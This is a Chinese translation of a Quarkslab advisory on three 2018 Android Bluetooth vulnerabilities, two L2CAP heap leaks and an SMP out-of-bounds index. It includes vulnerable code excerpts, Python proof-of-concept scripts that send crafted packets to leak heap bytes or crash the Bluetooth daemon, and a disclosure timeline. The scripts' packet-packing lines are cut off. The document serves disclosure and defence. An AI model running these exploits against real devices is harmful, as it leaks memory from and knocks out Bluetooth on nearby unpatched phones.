写在前面的话
2018 年 3 月, Quarkslab 向 Google 报告了 Android 蓝牙协议栈中的一些漏洞:
问题编号 74882215: 蓝牙 L2CAP L2CAP_CMD_CONN_REQ 远程内存泄露
问题编号 74889513: 蓝牙 L2CAP L2CAP_CMD_DISC_REQ 远程内存泄露
问题编号 74917004: 蓝牙 SMP smp_sm_event()OOB 阵列索引
漏洞 1: 蓝牙 L2CAP L2CAP_CMD_CONN_REQ 远程内存泄露
1. 简要
通过向目标设备发送特制的 L2CAP 数据包, 蓝牙范围内的远程攻击者可利用 Android 蓝牙协议栈中的漏洞披露属于 com.android.bluetooth 守护程序堆的 2 个字节.
2. 漏洞详细信息
L2CAP 是蓝牙协议栈中的协议, L2CAP 的功能包括为更高层协议传输数据, 包括通过单个链路复用多个应用程序. L2CAP 是基于通道进行的, 并且控制命令在预定义的 L2CAP_SIGNALLING_CID (0x01)通道上被发送. L2CAP 传入数据由 l2c_rcv_acl_data()函数 [platform/system/bt/stack/ L2CAP /l2c_main.cc] 处理. 如果传入的 L2CAP 数据包指定 L2CAP_SIGNALLING_CID 作为其目标通道, 则 l2c_rcv_acl_data()调用 process_l2cap_cmd()函数来处理 L2CAP 控制命令. L2CAP_CMD_CONN_REQ 控制命令在 process_l2cap_cmd()函数中以以下这种方式处理:
- case L2CAP_CMD_CONN_REQ:
- STREAM_TO_UINT16(con_info.psm, p);
- STREAM_TO_UINT16(rcid, p);
- p_rcb = l2cu_find_rcb_by_psm(con_info.psm);
- if (p_rcb == NULL) {
- L2CAP_TRACE_WARNING("L2CAP - rcvd conn req for unknown PSM: %d",
- con_info.psm);
- l2cu_reject_connection(p_lcb, rcid, id, L2CAP_CONN_NO_PSM);
- break;
- } else {
- [...]
上面的代码使用 STREAM_TO_UINT16 宏 [platform/system/bt/stack/include/bt_types.h] 从 L2CAP 数据包中读取 2 个 uint16_t 值(con_info.psm 和 rcid):
- #define STREAM_TO_UINT16(u16, p) \
- { \
- (u16) = ((uint16_t)(*(p)) + (((uint16_t)(*((p) + 1))) << 8)); \
- (p) += 2; \
- }
该漏洞在于使用 STREAM_TO_UINT16 宏而不检查攻击者控制的数据包中是否还有足够的数据; 如果第二次使用 STREAM_TO_UINT16 时数据包中没有剩余字节, 则从带外数据 (out-of-bound) 读取 rcid, 更精确的从堆上与包数据相邻的任何数据中读取 rcid. 之后, 如果 l2cu_find_rcb_by_psm()返回 NULL 并因此到达 if 分支, 则对 l2cu_reject_connection() [stack/l2cap/l2c_utils.cc]的调用会将 rcid 发送到远程对等体(the remote peer), 这样堆中就会有 2 个字节泄露出来:
- void l2cu_reject_connection(tL2C_LCB* p_lcb, uint16_t remote_cid,
- uint8_t rem_id, uint16_t result) {
- [...]
- UINT16_TO_STREAM(p, 0); /* Local CID of 0 */
- UINT16_TO_STREAM(p, remote_cid);
- UINT16_TO_STREAM(p, result);
- UINT16_TO_STREAM(p, 0); /* Status of 0 */
- l2c_link_check_send_pkts(p_lcb, NULL, p_buf);
- }
这里请注意, l2cu_find_rcb_by_psm()可以完全受到攻击者的影响, 通过精心设计的 L2CAP 数据包中提供未注册的协议或服务多路复用器 (PSM)ID 字段, 会始终返回 NULL(即始终返回到 if 分支). 另外, 请注意, 使用 STREAM_TO_UINT16 宏而不检查攻击控制的包中是否还有足够的数据, 这种不安全的模式在 process_l2cap_cmd() 函数中随处可见.
3. Poc
下面的 Python 代码触发了漏洞并输出从目标蓝牙设备的 com.android.bluetooth 守护进程堆中泄漏的 16 位值. 这个 Python 代码使用 Blueborne 框架中的 l2cap_infra 包. 用法:$ sudo python l2cap01.py 样本:$ sudo python l2cap01.py hci0 00:11:22:33:44:55
- import os
- import sys
- from l2cap_infra import *
- L2CAP_SIGNALLING_CID = 0x01
- L2CAP_CMD_CONN_REQ = 0x02
- def main(src_hci, dst_bdaddr):
- l2cap_loop, _ = create_l2cap_connection(src_hci, dst_bdaddr)
- # This will leak 2 bytes from the heap
- print "Sending L2CAP_CMD_CONN_REQ in L2CAP connection..."
- cmd_code = L2CAP_CMD_CONN_REQ
- cmd_id = 0x41 # not important
- cmd_len = 0x00 # bypasses this check at lines 296/297 of l2c_main.cc: pp_next_cmd = p + cmd_len; / if (p_next_cmd > p_pkt_end) {
- non_existent_psm = 0x3333 # Non-existent Protocol/Service Multiplexer id, so l2cu_find_rcb_by_psm() returns NULL and l2cu_reject_connection() is called
- # here we use L2CAP_SIGNALLING_CID as cid, so l2c_rcv_acl_data() calls process_l2cap_cmd():
- # 170 /* Send the data through the channel state machine */
- # 171 if (rcv_cid == L2CAP_SIGNALLING_CID) {
- # 172 process_l2cap_cmd(p_lcb, p, l2cap_len);
- l2cap_loop.send(L2CAP_Hdr(cid=L2CAP_SIGNALLING_CID) / Raw(struct.pack('
- l2cap_loop.on(lambda pkt: True,
- lambda loop, pkt: pkt)
- # And printing the returned data.
- pkt = l2cap_loop.cont()[0]
- print "Response: %s\n" % repr(pkt)
- # print "Packet layers: %s" % pkt.summary()
- # The response packet contains 3 layers: L2CAP_Hdr / L2CAP_CmdHdr / L2CAP_ConnResp
- # The response contains 1 leaked word in the 'scid' field of the L2CAP_ConnResp layer
- print "Leaked word: 0x%04x" % pkt[2].scid
- l2cap_loop.finish()
- if __name__ == '__main__':
- if len(sys.argv) < 2:
- print("Usage: l2cap01.py")
- else:
- if os.getuid():
- print "Error: This script must be run as root."
- else:
- main(*sys.argv[1:])
漏洞 #2: 蓝牙 L2CAP L2CAP_CMD_DISC_REQ 远程内存泄露
1. 简要
蓝牙范围内的远程攻击者可以使用 Android 蓝牙协议栈 (Bluetooth stack) 中的漏洞通过向目标设备发送自定义的 L2CAP 数据包来自属于 com.android.bluetooth 守护进程堆的 4 个字节.
2. 漏洞详细信息
L2CAP_CMD_DISC_REQ 控制命令在 process_l2cap_cmd()函数中以下方式处理:
- case L2CAP_CMD_DISC_REQ:
- STREAM_TO_UINT16(lcid, p);
- STREAM_TO_UINT16(rcid, p);
- p_ccb = l2cu_find_ccb_by_cid(p_lcb, lcid);
- if (p_ccb != NULL) {
- if (p_ccb->remote_cid == rcid) {
- p_ccb->remote_id = id;
- l2c_csm_execute(p_ccb, L2CEVT_L2CAP_DISCONNECT_REQ, &con_info);
- }
- } else
- l2cu_send_peer_disc_rsp(p_lcb, id, lcid, rcid);
上面的代码使用 STREAM_TO_UINT16 macro [platform/system/bt/stack/include/bt_types.h]从 L2CAP 数据包中读取 2 个 uint16_t 值(lcid 和 rcid):
- #define STREAM_TO_UINT16(u16, p) \
- { \
- (u16) = ((uint16_t)(*(p)) + (((uint16_t)(*((p) + 1))) << 8)); \
- (p) += 2; \
- }
该漏洞存在于 STREAM_TO_UINT16 宏被使用两次后, 而不检查攻击者控制的数据包中是否还有至少 4 个字节; 如果数据包中没有剩余字节, 那么从将从带外数据读取 lcid 和 rcid, 更准确的说是从与堆上的数据包数据相邻的任何数据中读取. 之后, 如果 l2cu_find_ccb_by_cid()返回 NULL 并因此到达 else 分支, 则对 l2cu_send_peer_disc_rsp()[platform / system / bt / stack / l2cap / l2c_utils.cc]调用会将 lcid 和 rcid 发送到远程对等体, 这样堆中的 4 个字节就会被泄漏.
- void l2cu_send_peer_disc_rsp(tL2C_LCB* p_lcb, uint8_t remote_id,
- uint16_t local_cid, uint16_t remote_cid) {
- [...]
- UINT16_TO_STREAM(p, local_cid);
- UINT16_TO_STREAM(p, remote_cid);
- l2c_link_check_send_pkts(p_lcb, NULL, p_buf);
- }
请注意, l2cu_find_ccb_by_cid()可以完全受到攻击者的影响返回 NULL(即始终返回到 else 分支), 因为该函数将始终返回 NULL, 除非在目标设备和攻击者的蓝牙设备之间设置一个活动通道控制块(CCB), 并设置假的 lcid.
3. Poc
以下 Python 代码会触发漏洞并输出从目标蓝牙设备的 com.android.bluetooth 守护进程堆中泄漏的两个 16 位值. 这个 Python 代码使用来自 Blueborne 框架中的 l2cap_infra 包. 用法: sudo python l2cap02.py 样本:$ sudo python l2cap02.py hci0 00:11:22:33:44:55
- import os
- import sys
- from l2cap_infra import *
- L2CAP_SIGNALLING_CID = 0x01
- L2CAP_CMD_DISC_REQ = 0x06
- def main(src_hci, dst_bdaddr):
- l2cap_loop, _ = create_l2cap_connection(src_hci, dst_bdaddr)
- # This will leak 4 bytes from the heap
- print "Sending L2CAP_CMD_DISC_REQ command in L2CAP connection..."
- cmd_code = L2CAP_CMD_DISC_REQ
- cmd_id = 0x41 # not important
- cmd_len = 0x00 # bypasses this check at lines 296/297 of l2c_main.cc: pp_next_cmd = p + cmd_len; / if (p_next_cmd > p_pkt_end) {
- # here we use L2CAP_SIGNALLING_CID as cid, so l2c_rcv_acl_data() calls process_l2cap_cmd():
- # 170 /* Send the data through the channel state machine */
- # 171 if (rcv_cid == L2CAP_SIGNALLING_CID) {
- # 172 process_l2cap_cmd(p_lcb, p, l2cap_len);
- l2cap_loop.send(L2CAP_Hdr(cid=L2CAP_SIGNALLING_CID) / Raw(struct.pack('
- l2cap_loop.on(lambda pkt: True,
- lambda loop, pkt: pkt)
- # And printing the returned data.
- pkt = l2cap_loop.cont()[0]
- print "Response: %s\n" % repr(pkt)
- # print "Packet layers: %s" % pkt.summary()
- # The response packet contains 3 layers: L2CAP_Hdr / L2CAP_CmdHdr / L2CAP_DisconnResp
- # The response contains 2 leaked words in the 'dcid' and 'scid' fields of the L2CAP_DisconnResp layer
- print "Leaked words: 0x%04x 0x%04x" % (pkt[2].dcid, pkt[2].scid)
- l2cap_loop.finish()
- if __name__ == '__main__':
- if len(sys.argv) < 2:
- print("Usage: l2cap02.py")
- else:
- if os.getuid():
- print "Error: This script must be run as root."
- else:
- main(*sys.argv[1:])
漏洞 #3: 蓝牙 SMP smp_sm_event() OOB 数组索引
1. 简要
蓝牙范围内的远程攻击者可以使用 Android 蓝牙协议栈 (Bluetooth stack) 中的漏洞, 使 com.android.bluetooth 守护进程访问之外的数组, 方法就是通过将意外传输发送包里所含的 SMP_OPCODE_PAIRING_REQ 命令的 SMP 数据包发送到目标设备.
2. 漏洞详细信息
安全管理器协议 (SMP) 为运行在蓝牙低能耗堆栈上的应用程序提供服务访问, 如设备身份验证, 设备授权和数据隐私访问, 以及对运行在蓝牙低能耗堆栈上的应用程序的访问. SMP 协议位于 L2CAP 之上, 位于预定义的 L2CAP_SMP_CID (0x06)通道之上. 传入的 SMP 数据包由 smp_data_received()函数 [platform/system/bt/stack/smp/smp_l2c.cc] 处理. 如果通过 L2CAP_SMP_CID 固定通道接收到一个 SMP 数据包, 其中包含 SMP_OPCODE_PAIRING_REQ (0x01)命令, 则会出现以下代码:
- static void smp_data_received(uint16_t channel, const RawAddress& bd_addr,
- BT_HDR* p_buf) {
- [...]
- /* reject the pairing request if there is an on-going SMP pairing */
- if (SMP_OPCODE_PAIRING_REQ == cmd || SMP_OPCODE_SEC_REQ == cmd) {
- if ((p_cb->state == SMP_STATE_IDLE) &&
- (p_cb->br_state == SMP_BR_STATE_IDLE) &&
- !(p_cb->flags & SMP_PAIR_FLAGS_WE_STARTED_DD)) {
- p_cb->role = L2CA_GetBleConnRole(bd_addr);
- [...]
如上面的代码所示, p_cb-> role 设置为 L2CA_GetBleConnRole(bd_addr)返回的值. p_cb-> role 应该包含其中一个值[platform / system / bt / stack / include / hcidefs.h]:
- /* HCI role defenitions */
- #define HCI_ROLE_MASTER 0x00
- #define HCI_ROLE_SLAVE 0x01
- #define HCI_ROLE_UNKNOWN 0xff
如果分析人员查看 L2CA_GetBleConnRole()函数中 [platform/system/bt/stack/l2cap/l2c_ble.cc] 的代码, 就可以发现它调用 l2cu_find_lcb_by_bd_addr()来查找一个匹配远程 BDADDR 并使用低能耗传输 (BT_TRANSPORT_LE) 的活动链接控制块 (LCB) 结构; 如果找不到它, 则返回 HCI_ROLE_UNKNOWN(0xff). 当分析人员通过在 BR/EDR(基本速率 / 增强数据速率, 也称为 "classic" 蓝牙)传输上发送包含 SMP_OPCODE_PAIRING_REQ 命令的 SMP 数据包来命令此代码时就是如下这种情况, 它应该只用于低能耗 (LE) 传输:
- uint8_t L2CA_GetBleConnRole(const RawAddress& bd_addr) {
- uint8_t role = HCI_ROLE_UNKNOWN;
- tL2C_LCB* p_lcb;
- p_lcb = l2cu_find_lcb_by_bd_addr(bd_addr, BT_TRANSPORT_LE);
- if (p_lcb != NULL) role = p_lcb->link_role;
- return role;
- }
所以, 返回 smp_data_received()函数, 在将 p_cb-> role 设置为 HCI_ROLE_UNKNOWN(0xff)之后, 它调用 smp_sm_event()[platform/system/bt/stack/smp/smp_main.cc], 得到以下代码.
- 953 void smp_sm_event(tSMP_CB* p_cb, tSMP_EVENT event, tSMP_INT_DATA* p_data) {
- ...
- 957 tSMP_ENTRY_TBL entry_table = smp_entry_table[p_cb->role];
- ...
- 970 /* look up the state table for the current state */
- 971 /* lookup entry /w event & curr_state */
- 972 /* If entry is ignore, return.
- 973 * Otherwise, get state table (according to curr_state or all_state) */
- 974 if ((event <= SMP_MAX_EVT) &&
- 975 ((entry = entry_table[event - 1][curr_state]) != SMP_SM_IGNORE)) {
在第 957 行, 代码使用 p_cb-> role 作为索引从 smp_entry_table 静态数组中读取, 而不检查 p_cb-> role 是否具有两个有效值中的一个, 即 HCI_ROLE_MASTER(0x00)或 HCI_ROLE_SLAVE(0x01). 这就是漏洞: smp_entry_table 静态数组只包含 2 个元素, 而 p_cb-> role 的值为 0xFF, 在接收到包含 SMP_OPCODE_PAIRING_REQ 命令的 SMP 包后, 在 BR/EDR 传输上, 而不是在预期的低能耗传输之上.
- static const tSMP_ENTRY_TBL smp_entry_table[] = {smp_master_entry_map,
- smp_slave_entry_map};
因此, 作为执行 entry_table = smp_entry_table[0xff]时的 OOB 索引的结果, entry_table 局部变量将包含一些垃圾值 (位于 bluetooth.default.so 二进制文件的数据部分中的 smp_entry_table 全局变量之后的任何值). 因此, 稍后在第 975 行, 当取消对 entry_table [event - 1] [curr_state] 的引用时, 它很可能会导致分段错误(受 bluetooth.default.so 二进制文件的特定版本的影响, 其中包含 smp_entry_table 全局变量), 这将使 com.android.bluetooth 守护进程停止工作.
3. Poc
用法:$ sudo python smp01.py 样本:$ sudo python smp01.py hci0 00:11:22:33:44:55
- import os
- import sys
- from l2cap_infra import *
- L2CAP_SMP_CID = 0x06
- # This matches the CID used in l2cap_infra to establish a successful connection.
- OUR_LOCAL_SCID = 0x40
- SMP_OPCODE_PAIRING_REQ = 0x01
- def main(src_hci, dst_bdaddr):
- l2cap_loop, _ = create_l2cap_connection(src_hci, dst_bdaddr)
- print "Sending SMP_OPCODE_PAIRING_REQ in L2CAP connection..."
- cmd_code = SMP_OPCODE_PAIRING_REQ
- the_id = 0x41 # not important
- cmd_len = 0x08
- flags = 0x4142 # not important
- # here we use L2CAP_SMP_CID as cid
- l2cap_loop.send(L2CAP_Hdr(cid=L2CAP_SMP_CID) / Raw(struct.pack('
- l2cap_loop.finish()
- print "The com.android.bluetooth daemon should have crashed."
- if __name__ == '__main__':
- if len(sys.argv) < 2:
- print("Usage: smp01.py")
- else:
- if os.getuid():
- print "Error: This script must be run as root."
- else:
- main(*sys.argv[1:])
时间线
2018 年 3 月 15 日: Quarkslab 向 Google 报告了影响 Android 蓝牙堆栈的三个漏洞. 错误被添加到 ID"74882215,74889513 和 74917004" 下的 "Android 外部安全报告" 问题跟踪器中.
2018 年 3 月 16 日: 一个温和的机器人承认所有三个安全报告.
2018 年 3 月 26 日: Android 安全团队关闭问题 74882215 作为问题 74135099 的副本, 声明该错误已在 2018 年 3 月 4 日由另一位外部研究人员报告过.
2018 年 5 月 10 日: Quarkslab 回到剩下的问题 74889513 和 74917004, 提醒谷歌自初始报告以来差不多两个月没有得到 Android 团队的任何回应, 并询问是否有人能够评估错误.
来源: http://netsecurity.51cto.com/art/201808/582281.htm